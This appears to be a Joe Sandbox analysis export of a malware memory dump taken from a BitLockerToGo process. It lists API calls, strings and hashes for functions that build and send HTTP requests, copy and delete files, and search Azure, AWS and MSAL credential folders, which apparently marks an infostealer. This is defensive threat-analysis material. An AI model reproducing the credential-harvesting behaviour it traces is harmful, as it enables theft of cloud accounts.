GetProcAddress.KERNEL32(75550000,035404C8), ref: 030199C5
GetProcAddress.KERNEL32(75550000,03547338), ref: 030199DE
GetProcAddress.KERNEL32(75550000,03547398), ref: 030199F6
GetProcAddress.KERNEL32(75550000,035404E8), ref: 03019A0E
GetProcAddress.KERNEL32(75550000,03547458), ref: 03019A27
GetProcAddress.KERNEL32(75550000,035474A0), ref: 03019A3F
GetProcAddress.KERNEL32(75550000,03540508), ref: 03019A57
GetProcAddress.KERNEL32(75550000,03547470), ref: 03019A70
GetProcAddress.KERNEL32(75550000,03540528), ref: 03019A88
LoadLibraryA.KERNEL32(035473F8,?,03016A00), ref: 03019A9A
LoadLibraryA.KERNEL32(035473B0,?,03016A00), ref: 03019AAB
LoadLibraryA.KERNEL32(035473C8,?,03016A00), ref: 03019ABD
LoadLibraryA.KERNEL32(03547488,?,03016A00), ref: 03019ACF
LoadLibraryA.KERNEL32(03547368,?,03016A00), ref: 03019AE0
GetProcAddress.KERNEL32(75670000,035473E0), ref: 03019B02
GetProcAddress.KERNEL32(75750000,035474B8), ref: 03019B23
GetProcAddress.KERNEL32(75750000,03547500), ref: 03019B3B
GetProcAddress.KERNEL32(76BE0000,03547380), ref: 03019B5D
GetProcAddress.KERNEL32(759D0000,03540548), ref: 03019B7E
GetProcAddress.KERNEL32(773F0000,03540568), ref: 03019B9F
GetProcAddress.KERNEL32(773F0000,NtQueryInformationProcess), ref: 03019BB6

Strings

NtQueryInformationProcess, xrefs: 03019BAA

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 9e07d61c7e70f4f4af2ec2c2ea1b36cb5d4bbc755d5708e9f1769f98ad0bfdf8
Instruction ID: b3777c8c20aa6326018a03b228bb1e06e5f13f5b3c2e82f8e631730eea2eb448
Opcode Fuzzy Hash: 9e07d61c7e70f4f4af2ec2c2ea1b36cb5d4bbc755d5708e9f1769f98ad0bfdf8
Instruction Fuzzy Hash: 93A11ABE5C52409FE364FFA8FA9CA6A3BF9F748701704C51AE60A8724CD7399441DB50

Function 03005100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 030047EA
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004801
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004818
Part of subcall function 030047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 03004839
Part of subcall function 030047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 03004849

lstrlen.KERNEL32(00000000), ref: 03005193

Part of subcall function 03018EA0: CryptBinaryToStringA.CRYPT32(00000000,03005184,40000001,00000000,00000000,?,03005184), ref: 03018EC0

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 03005207
StrCmpCA.SHLWAPI(?,03554CA0), ref: 03005225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 03005340
HttpOpenRequestA.WININET(00000000,03554DB0,?,03556390,00000000,00000000,00400100,00000000), ref: 030053A4

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,03554CC0,00000000,?,03549940,00000000,?,030219DC,00000000,?,030151CF), ref: 03005737
lstrlen.KERNEL32(00000000), ref: 0300574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0300575C
RtlAllocateHeap.NTDLL(00000000), ref: 03005763
lstrlen.KERNEL32(00000000), ref: 03005778
memcpy.MSVCRT(?,00000000,00000000), ref: 0300578F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 030057A9
memcpy.MSVCRT(?), ref: 030057B6
lstrlen.KERNEL32(00000000), ref: 030057C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 030057E1
memcpy.MSVCRT(?), ref: 030057F1
lstrlen.KERNEL32(00000000,?,?), ref: 0300580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 03005822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0300584D
InternetCloseHandle.WININET(00000000), ref: 030058B1
InternetCloseHandle.WININET(00000000), ref: 030058BE
InternetCloseHandle.WININET(00000000), ref: 030058C8

Strings

--, xrefs: 03005280
------, xrefs: 030053B7
------, xrefs: 03005297
", xrefs: 03005482
------, xrefs: 030054F9
------, xrefs: 0300563B
", xrefs: 030055C4
", xrefs: 03005706

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2335077847-2774362122
Opcode ID: 87e8beaf43253d36d86fa3a139a00b0f62128edf57659cf6d1775778c5a6c797
Instruction ID: 3372905a1ab083412279f0af3500dd7b5d33bbc6ed597d96ce56157c2eb5f082
Opcode Fuzzy Hash: 87e8beaf43253d36d86fa3a139a00b0f62128edf57659cf6d1775778c5a6c797
Instruction Fuzzy Hash: EE321175A23218ABDB14FBA0DD94FEEB378BF94610F404159F1066B091EF706A5ACF60

Function 03005960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 030047EA
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004801
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004818
Part of subcall function 030047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 03004839
Part of subcall function 030047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 03004849

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 030059F8
StrCmpCA.SHLWAPI(?,03554CA0), ref: 03005A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 03005B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,035568E0,00000000,?,03549940,00000000,?,03021A1C), ref: 03005E71
lstrlen.KERNEL32(00000000), ref: 03005E82
GetProcessHeap.KERNEL32(00000000,?), ref: 03005E93
RtlAllocateHeap.NTDLL(00000000), ref: 03005E9A
lstrlen.KERNEL32(00000000), ref: 03005EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 03005EC6
lstrlen.KERNEL32(00000000), ref: 03005ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 03005EF1
memcpy.MSVCRT(?), ref: 03005EFE
lstrlen.KERNEL32(00000000,?,?), ref: 03005F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 03005F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 03005F4C
InternetCloseHandle.WININET(00000000), ref: 03005FB0
InternetCloseHandle.WININET(00000000), ref: 03005FBD
HttpOpenRequestA.WININET(00000000,03554DB0,?,03556390,00000000,00000000,00400100,00000000), ref: 03005BF8

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

InternetCloseHandle.WININET(00000000), ref: 03005FC7

Strings

------, xrefs: 03005D4C
------, xrefs: 03005A96
------, xrefs: 03005C0B
", xrefs: 03005CD5
", xrefs: 03005E16

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1703137719-2180234286
Opcode ID: bc501cf1e7af9a048e72744d229cb1532cd36ca8f8cb2f5cccbdad525fd38de7
Instruction ID: 5e81a0498c346c5e76186fe855d218c7269e985bee4cb3098c01d1a57b7a797c
Opcode Fuzzy Hash: bc501cf1e7af9a048e72744d229cb1532cd36ca8f8cb2f5cccbdad525fd38de7
Instruction Fuzzy Hash: 0E121E75922218ABDB15EBA0DD94FEEB378BF94710F404199E1066B090EF706B5ACF60

Function 0300A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0301AA70: StrCmpCA.SHLWAPI(00000000,03021470,0300D1A2,03021470,00000000), ref: 0301AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0300AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0300AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0300ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0300A8B0

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

lstrcat.KERNEL32(?,00000000), ref: 0300ACEB
lstrcat.KERNEL32(?,03021320), ref: 0300ACFA
lstrcat.KERNEL32(?,00000000), ref: 0300AD0D
lstrcat.KERNEL32(?,03021324), ref: 0300AD1C
lstrcat.KERNEL32(?,00000000), ref: 0300AD2F
lstrcat.KERNEL32(?,03021328), ref: 0300AD3E
lstrcat.KERNEL32(?,00000000), ref: 0300AD51
lstrcat.KERNEL32(?,0302132C), ref: 0300AD60
lstrcat.KERNEL32(?,00000000), ref: 0300AD73
lstrcat.KERNEL32(?,03021330), ref: 0300AD82
lstrcat.KERNEL32(?,00000000), ref: 0300AD95
lstrcat.KERNEL32(?,03021334), ref: 0300ADA4
lstrcat.KERNEL32(?,00000000), ref: 0300ADB7
lstrlen.KERNEL32(?), ref: 0300AE0D
lstrlen.KERNEL32(?), ref: 0300AE1C
memset.MSVCRT ref: 0300AE6B

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 03009E10: memcmp.MSVCRT(?,v20,00000003), ref: 03009E2D

DeleteFileA.KERNEL32(00000000), ref: 0300AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0300ABD4

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: bdabc8b9727e1721ee0b0bbcb18ffaac129821ff2db14d19f2d8df0691f57f4d
Instruction ID: c60abd3785f7fcb6f188e4c450e90eeb3d2511b41c8abcaa72ac1b59f0db1700
Opcode Fuzzy Hash: bdabc8b9727e1721ee0b0bbcb18ffaac129821ff2db14d19f2d8df0691f57f4d
Instruction Fuzzy Hash: 5A127979A532089BDB08FBA0ED94EEE7379BF54211F404059F507AB090DF74AE1ACB60

Function 0300CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 03018B60: GetSystemTime.KERNEL32(?,03549910,030205AE,?,?,?,?,?,?,?,?,?,03004963,?,00000014), ref: 03018B86

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0300CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0300D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0300D0CE
lstrcat.KERNEL32(?,00000000), ref: 0300D208
lstrcat.KERNEL32(?,03021478), ref: 0300D217
lstrcat.KERNEL32(?,00000000), ref: 0300D22A
lstrcat.KERNEL32(?,0302147C), ref: 0300D239
lstrcat.KERNEL32(?,00000000), ref: 0300D24C
lstrcat.KERNEL32(?,03021480), ref: 0300D25B
lstrcat.KERNEL32(?,00000000), ref: 0300D26E
lstrcat.KERNEL32(?,03021484), ref: 0300D27D
lstrcat.KERNEL32(?,00000000), ref: 0300D290
lstrcat.KERNEL32(?,03021488), ref: 0300D29F
lstrcat.KERNEL32(?,00000000), ref: 0300D2B2
lstrcat.KERNEL32(?,0302148C), ref: 0300D2C1
lstrcat.KERNEL32(?,00000000), ref: 0300D2D4
lstrcat.KERNEL32(?,03021490), ref: 0300D2E3

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

lstrlen.KERNEL32(?), ref: 0300D32A
lstrlen.KERNEL32(?), ref: 0300D339
memset.MSVCRT ref: 0300D388

Part of subcall function 0301AA70: StrCmpCA.SHLWAPI(00000000,03021470,0300D1A2,03021470,00000000), ref: 0301AA8F

DeleteFileA.KERNEL32(00000000), ref: 0300D3B4

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: a3310502965026841ef2092db5153585e1cdd58bccf9d49b45e27013be8cd524
Instruction ID: 48cbf53e070f40a0f24c325212d12bc10eb71087f22cd0ee3ee7964d87faafd7
Opcode Fuzzy Hash: a3310502965026841ef2092db5153585e1cdd58bccf9d49b45e27013be8cd524
Instruction Fuzzy Hash: 9FE15579A52204ABDB04FBE0ED98EEE7378BF54211F504159F107BB090DF75AA1ACB60

Function 03014D70 Relevance: 28.6, APIs: 10, Strings: 9, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 03014D87

Part of subcall function 03018DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 03018E0B

lstrcat.KERNEL32(?,00000000), ref: 03014DB0
lstrcat.KERNEL32(?,\.azure\), ref: 03014DCD

Part of subcall function 03014910: wsprintfA.USER32 ref: 0301492C
Part of subcall function 03014910: FindFirstFileA.KERNEL32(?,?), ref: 03014943

memset.MSVCRT ref: 03014E13
lstrcat.KERNEL32(?,00000000), ref: 03014E3C
lstrcat.KERNEL32(?,\.aws\), ref: 03014E59

Part of subcall function 03014910: StrCmpCA.SHLWAPI(?,03020FDC), ref: 03014971
Part of subcall function 03014910: StrCmpCA.SHLWAPI(?,03020FE0), ref: 03014987
Part of subcall function 03014910: FindNextFileA.KERNEL32(000000FF,?), ref: 03014B7D
Part of subcall function 03014910: FindClose.KERNEL32(000000FF), ref: 03014B92

memset.MSVCRT ref: 03014E9F
lstrcat.KERNEL32(?,00000000), ref: 03014EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 03014EE5

Part of subcall function 03014910: wsprintfA.USER32 ref: 030149B0
Part of subcall function 03014910: StrCmpCA.SHLWAPI(?,030208D2), ref: 030149C5
Part of subcall function 03014910: wsprintfA.USER32 ref: 030149E2
Part of subcall function 03014910: PathMatchSpecA.SHLWAPI(?,?), ref: 03014A1E
Part of subcall function 03014910: lstrcat.KERNEL32(?,03554CD0), ref: 03014A4A
Part of subcall function 03014910: lstrcat.KERNEL32(?,03020FF8), ref: 03014A5C
Part of subcall function 03014910: lstrcat.KERNEL32(?,?), ref: 03014A70
Part of subcall function 03014910: lstrcat.KERNEL32(?,03020FFC), ref: 03014A82
Part of subcall function 03014910: lstrcat.KERNEL32(?,?), ref: 03014A96
Part of subcall function 03014910: CopyFileA.KERNEL32(?,?,00000001), ref: 03014AAC
Part of subcall function 03014910: DeleteFileA.KERNEL32(?), ref: 03014B31

memset.MSVCRT ref: 03014F2B

Strings

Azure\.azure, xrefs: 03014DD3
Azure\.IdentityService, xrefs: 03014EEB
*.*, xrefs: 03014DD8
Azure\.aws, xrefs: 03014E5F
\.azure\, xrefs: 03014DC1
*.*, xrefs: 03014E64
msal.cache, xrefs: 03014EF0
\.IdentityService\, xrefs: 03014ED9
\.aws\, xrefs: 03014E4D

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
